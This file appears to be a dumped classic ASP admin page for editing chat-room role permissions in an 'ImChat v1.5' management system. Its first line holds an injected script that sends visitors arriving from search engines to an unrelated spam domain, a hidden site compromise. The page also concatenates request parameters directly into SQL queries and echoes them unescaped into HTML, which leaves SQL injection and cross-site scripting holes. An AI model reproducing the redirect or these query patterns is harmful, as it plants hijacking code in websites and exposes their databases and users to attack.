d:\wwwroot\wuchunhua\liaotianim\system_manage\EditPower.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="../inc/DAL.asp"-->
002:
<!--#include file="../inc/md5.asp"-->
003:
<!--#include file="../inc/page.asp"-->
004:
<!--#include file="Check.asp"-->
005:
<%
006:
Dim ConfigRS
007:
Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
008:
009:
if request.form("Method")="ED" then
010:
ConfigRS.OPEN "select * from [XK_Power] where [Power_ID]="&request.form("PowerID") , DB_CONN , 1 , 3
011:
ConfigRS("Power_Name")=request.form("Power_Name")
012:
ConfigRS("Power_Keys")=trim(request.form("Power_Keys"))
013:
if request.form("Power_Icon")<>"" then
014:
ConfigRS("Power_Icon")=request.form("Power_Icon")
015:
else
016:
ConfigRS("Power_Icon")=""
017:
end if
018:
if request.form("Power_UserIcon")<>"" then
019:
ConfigRS("Power_UserIcon")=request.form("Power_UserIcon")
020:
else
021:
ConfigRS("Power_UserIcon")=""
022:
end if
023:
ConfigRS("Power_UserIconWidth")=request.form("Power_UserIconWidth")
024:
ConfigRS("Power_Money")=request.form("Power_Money")
025:
ConfigRS("IsVis")=request.form("IsVis")
026:
ConfigRS("Power_Sort")=request.form("Power_Sort")
027:
ConfigRS.update()
028:
for i=0 to (ConfigRS.Fields.count-1)
029:
Application.Lock()
030:
Application.contents("Powers_"+request.form("PowerID")+"_"+ConfigRS.Fields(i).Name)=ConfigRS(ConfigRS.Fields(i).Name)
031:
Application.Unlock()
032:
next
033:
ConfigRS.close()
034:
RW "<script>alert('修改成功!');location.href='SetPower.asp';</script>":response.end()
035:
end if
036:
037:
Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Power] where [Power_ID]="&request.QueryString("PowerID"))
038:
039:
%
>
040:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
041:
<html xmlns="http://www.w3.org/1999/xhtml">
042:
<head>
043:
<title>ImChat v1.5 Manage System</title>
044:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
045:
<link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
046:
<link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
047:
<script language="javascript" src="../JS_Custom/pcasunzip.js"></script>
048:
<style>
049:
.JSTB{border:#ccc solid 1px;border-right:none;border-bottom:none;margin-top:20px;}
050:
.JSTB th,.JSTB td{border-bottom:#ccc solid 1px; border-right:#ccc solid 1px;}
051:
#KRS{padding-left:20px;}
052:
#KRS input,#KRS label{float:left;}
053:
.line{clear:both;line-height:1px;height:1px;}
054:
</style>
055:
<script>
056:
function SelectAll()
057:
{
058:
var m = document.getElementsByName('Power_Keys');
059:
var l = m.length;
060:
for ( var i=0; i< l; i++)
061:
{
062:
if(m[i].value!="normal" && m[i].value!="vip"){
063:
m[i].checked == true ? m[i].checked = false: m[i].checked = true;}
064:
}
065:
}
066:
function AllNo(e)
067:
{
068:
if(e.checked==true){
069:
var m = document.getElementsByName('Power_Keys');
070:
var l = m.length;
071:
for ( var i=0; i< l; i++)
072:
{
073:
if(m[i].value!=e.value)
074:
{
075:
m[i].checked = false;
076:
}
077:
}
078:
}
079:
}
080:
</script>
081:
</head>
082:
<body>
083:
<div class="contentcontainer">
084:
<div class="headings alt">
085:
<h2>角色编辑 <a href="javascript:history.back();" style="text-decoration:none;">返回</a> <a href="javascript:\\;" onclick="location.reload();" style="text-decoration:none;">刷新</a></h2>
086:
</div>
087:
<div class="contentbox">
088:
089:
<form action="#" method="post" >
090:
<table class="CB" width="100%" cellpadding="0" cellspacing="0" border="0">
091:
<tr>
092:
<td width="350">
093:
<label for="Power_Name"><strong>角色名:</strong></label>
094:
<input type="text" id="Power_Name" name="Power_Name" class="inputbox" value="
<%
=ConfigRS("Power_Name")
%
>"/>
095:
</td>
096:
<td>
097:
<label for="IsVis"><strong>前台显示:</strong></label>
098:
<select id="IsVis" name="IsVis">
099:
<option value="0"
<%
if Cstr(ConfigRS("IsVis"))="0" then RW "selected=""selected"""
%
>>隐藏</option>
100:
<option value="1"
<%
if Cstr(ConfigRS("IsVis"))="1" then RW "selected=""selected"""
%
>>显示</option>
101:
</select>
102:
</td>
103:
</tr>
104:
<tr>
105:
<td>
106:
<label for="Power_Money"><strong>升级费用(人民币)(前台根据充值汇率显示对应数额虚拟货币):</strong></label>
107:
<input type="text" id="Power_Money" name="Power_Money" class="inputbox" value="
<%
=ConfigRS("Power_Money")
%
>"/>
108:
</td>
109:
<td>
110:
<label for="Power_Sort"><strong>排序:</strong></label>
111:
<input type="text" id="Power_Sort" name="Power_Sort" class="inputbox" value="
<%
=ConfigRS("Power_Sort")
%
>"/>
112:
</td>
113:
</tr>
114:
<tr>
115:
<td width="350">
116:
<label for="Power_Icon"><strong>组图标(16x16)(全路径):</strong></label>
117:
<input type="text" id="Power_Icon" name="Power_Icon" class="inputbox" value="
<%
=ConfigRS("Power_Icon")
%
>"/>
118:
</td>
119:
<td valign="middle">
120:
<img src="
<%
=ConfigRS("Power_Icon")
%
>" onerror="javascript:this.src='../images/default/tree/folder-open1.png'" border="0"/>
121:
</td>
122:
</tr>
123:
<tr>
124:
<td width="350">
125:
<label for="Power_UserIcon"><strong>对应用户图标(16x32)(全路径):</strong></label>
126:
<input type="text" id="Power_UserIcon" name="Power_UserIcon" class="inputbox" value="
<%
=ConfigRS("Power_UserIcon")
%
>"/>
127:
</td>
128:
<td valign="middle">
129:
<img src="
<%
=ConfigRS("Power_UserIcon")
%
>" onerror="javascript:this.src='../images/default/tree/folder-open1.png'" border="0"/>
130:
</td>
131:
</tr>
132:
<tr>
133:
<td colspan="2">
134:
<label for="Power_UserIconWidth"><strong>用户图标宽度(数字):</strong></label>
135:
<input type="text" id="Power_UserIconWidth" name="Power_UserIconWidth" class="inputbox" value="
<%
=ConfigRS("Power_UserIconWidth")
%
>"/>
136:
</td>
137:
</tr>
138:
<tr>
139:
<td colspan="2">
140:
<label><strong>权限值:</strong></label>
141:
<div id="KRS">
142:
<label>房间权限</label><a href="javascript:SelectAll();">全选/反选</a> <input onclick="AllNo(this)" type="checkbox" value="vip" name="Power_Keys" id="vip"><label for="vip">总是允许所有</label> <input onclick="AllNo(this)" type="checkbox" value="normal" name="Power_Keys" id="normal"><label for="normal">总是允许进入普通房间</label>
143:
<div class="line"></div>
144:
<%
145:
dim GPRS
146:
set GPRS=Server.CreateObject( "ADODB.Recordset" )
147:
set GPRS=DB_CONN.EXECUTE("select * from [XK_Room] where [IsCheck]=1 order by [Room_Sort] desc")
148:
while not GPRS.eof
149:
dim Selected,RoomName
150:
Selected=""
151:
RoomName=GPRS("Room_Name")
152:
if Cstr(GPRS("IsVIP"))="1" then
153:
RoomName=RoomName&"<font color='red'>[<strong>VIP</strong>]</font>"
154:
end if
155:
if Cstr(GPRS("IsVideo"))="1" then
156:
RoomName=RoomName&"<font color='blue'>[<strong>视频</strong>]</font>"
157:
end if
158:
RW "<input type='checkbox' id='"&GPRS("Room_ID")&"' name='Power_Keys' value='"&GPRS("Room_ID")&"'><label for='"&GPRS("Room_ID")&"'>"&RoomName&"</label>"
159:
GPRS.movenext()
160:
wend
161:
%
>
162:
<script>
163:
var pk="
<%
=ConfigRS("Power_Keys")
%
>".split(',');
164:
var pkl=pk.length;
165:
var m = document.getElementsByName('Power_Keys');
166:
var l = m.length;
167:
for(var j=0;j<pkl;j++)
168:
{
169:
for ( var i=0; i< l; i++)
170:
{
171:
if(pk[j].replace(/(^\s*)|(\s*$)/g, "")==m[i].value.toString())
172:
{
173:
m[i].checked=true;
174:
}
175:
}
176:
}
177:
</script>
178:
</div>
179:
</td>
180:
</tr>
181:
<tr>
182:
<td colspan="2">
183:
<input type="hidden" value="
<%
=request("PowerID")
%
>" name="PowerID"/>
184:
<input type="hidden" value="ED" name="Method"/>
185:
<input type="submit" value="修改" class="btn" />
186:
</td>
187:
</tr>
188:
</table>
189:
</form>
190:
</div>
191:
</div>
192:
</body>
193:
</html>
194:
195:
196: